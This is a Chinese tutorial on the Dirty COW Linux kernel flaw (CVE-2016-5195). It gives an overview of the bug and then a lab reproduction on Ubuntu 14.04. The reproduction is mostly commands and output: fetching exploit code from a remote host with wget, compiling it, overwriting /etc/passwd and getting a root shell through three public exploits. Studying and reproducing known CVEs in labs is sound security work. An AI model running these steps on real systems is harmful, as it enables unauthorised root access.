Linux Dirty COW 概述
1 Dirty COW 概述
Dirty COW(Dirty Copy-on-Write)是一个计算机安全漏洞,也被称为 CVE-2016-5195。它于 2016 年首次公开,并且影响了许多基于 Linux 操作系统的设备和系统。
Dirty COW 漏洞存在于 Linux 内核的内存子系统中,具体影响了 Copy-on-Write(COW)机制。COW 是一种内存管理技术,在多个进程之间共享内存页面时使用。当一个进程试图修改共享页面时,操作系统会创建该页面的副本,以确保进程之间的数据隔离。然而,Dirty COW 漏洞允许恶意用户利用 COW 机制中的一个错误,以非法方式修改共享页面,绕过了操作系统的保护机制。
漏洞影响范围:Linux kernel 2.6.22以来的所有稳定版本:这包括2.6.22、2.6.32、3.x、4.x等版本。(2007 年发现,到 2016 年 10 月 18 日才修复) 并且 Android 也受影响。
- Red Hat Enterprise Linux (RHEL) 5、6 和 7 的内核版本。
- CentOS 5、6 和 7 的内核版本。
- Ubuntu 14.04 LTS、16.04 LTS 和 16.10 的内核版本。
- Debian 7(Wheezy)、8(Jessie)和 unstable(Sid)的内核版本。
- SUSE Linux Enterprise Server (SLES) 11 SP3 和 12 的内核版本。
2 Dirty COW 复现
2.1 Kali 自带脚本(40847.cpp)
这里使用 Ubuntu 14.04 作为测试环境,使用 Kali 中的 SearchSploit 进行复现。
查看当前用户权限与内核:
1 2 3 4
| yongz@ubuntu:/tmp$ id uid=1001(yongz) gid=1001(yongz) groups=1001(yongz) yongz@ubuntu:/tmp$ uname -a Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
在 Kali 上查找 Dirty COW 利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| root at kali in ~ $ searchsploit dirty cow -------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------- --------------------------------- Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (1) | linux/dos/43199.c Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2) | linux/dos/44305.c Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Me | linux/local/40616.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Metho | linux/local/40847.cpp Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method) | linux/local/40838.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Me | linux/local/40839.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) | linux/local/40611.c -------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
|
这里使用 40847.cpp 这个,移动到当前目录:
1 2 3 4 5 6 7 8 9
| root at kali in ~ $ searchsploit -m 40847.cpp Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) URL: https://www.exploit-db.com/exploits/40847 Path: /usr/share/exploitdb/exploits/linux/local/40847.cpp Codes: CVE-2016-5195 Verified: True File Type: C++ source, ASCII text Copied to: /root/40847.cpp
|
查看脚本说明:
1 2 3 4
| root at kali in ~ $ head -n 2 40847.cpp
|
直接上传到靶机中进行编译使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| yongz@ubuntu:/tmp$ wget http://10.10.8.31/40847.cpp --2024-02-17 04:27:52-- http://10.10.8.31/40847.cpp Connecting to 10.10.8.31:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10212 (10.0K) [text/x-c++src] Saving to: ‘40847.cpp’
100%[======================================>] 10,212 --.-K/s in 0s
2024-02-17 04:27:52 (663 MB/s) - ‘40847.cpp’ saved [10212/10212] yongz@ubuntu:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil yongz@ubuntu:/tmp$ ./dcow -s Running ... Password overridden to: dirtyCowFun
Received su prompt (Password: )
root@ubuntu:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs root@ubuntu:~# cp /tmp/.ssh_bak /etc/passwd root@ubuntu:~# rm /tmp/.ssh_bak root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root)
|
提权成功!
2.2 其他脚本
出了 Kali 自带的之外,这里再演示两种:
2.2.1 FireFart
这个脚本会直接生成一个 firefart 用户,简单演示一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| # git clone https://github.com/firefart/dirtycow.git
# yongz@ubuntu:/tmp/dirtycow-master$ gcc -pthread dirty.c -o dirty -lcrypt
# yongz@ubuntu:/tmp/dirtycow-master$ ./dirty /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: Complete line: firefart:fiyKDo41eYt2o:0:0:pwned:/root:/bin/bash
mmap: 7fac69783000
# yongz@ubuntu:/tmp/dirtycow-master$ su firefart Password: firefart@ubuntu:/home/goktech/Desktop# id uid=0(firefart) gid=0(root) groups=0(root)
|
2.2.2 gbonacini
这个和 Kali 的那个比较相似:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # git clone https://github.com/gbonacini/CVE-2016-5195.git
# yongz@ubuntu:/tmp/CVE-2016-5195-master$ make g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
# yongz@ubuntu:/tmp/CVE-2016-5195-master$ ./dcow Running ... Received su prompt (Password: ) Root password is: dirtyCowFun Enjoy! :-)
# yongz@ubuntu:/tmp/CVE-2016-5195-master$ su root Password: root@ubuntu:/tmp/CVE-2016-5195-master# id uid=0(root) gid=0(root) groups=0(root)
|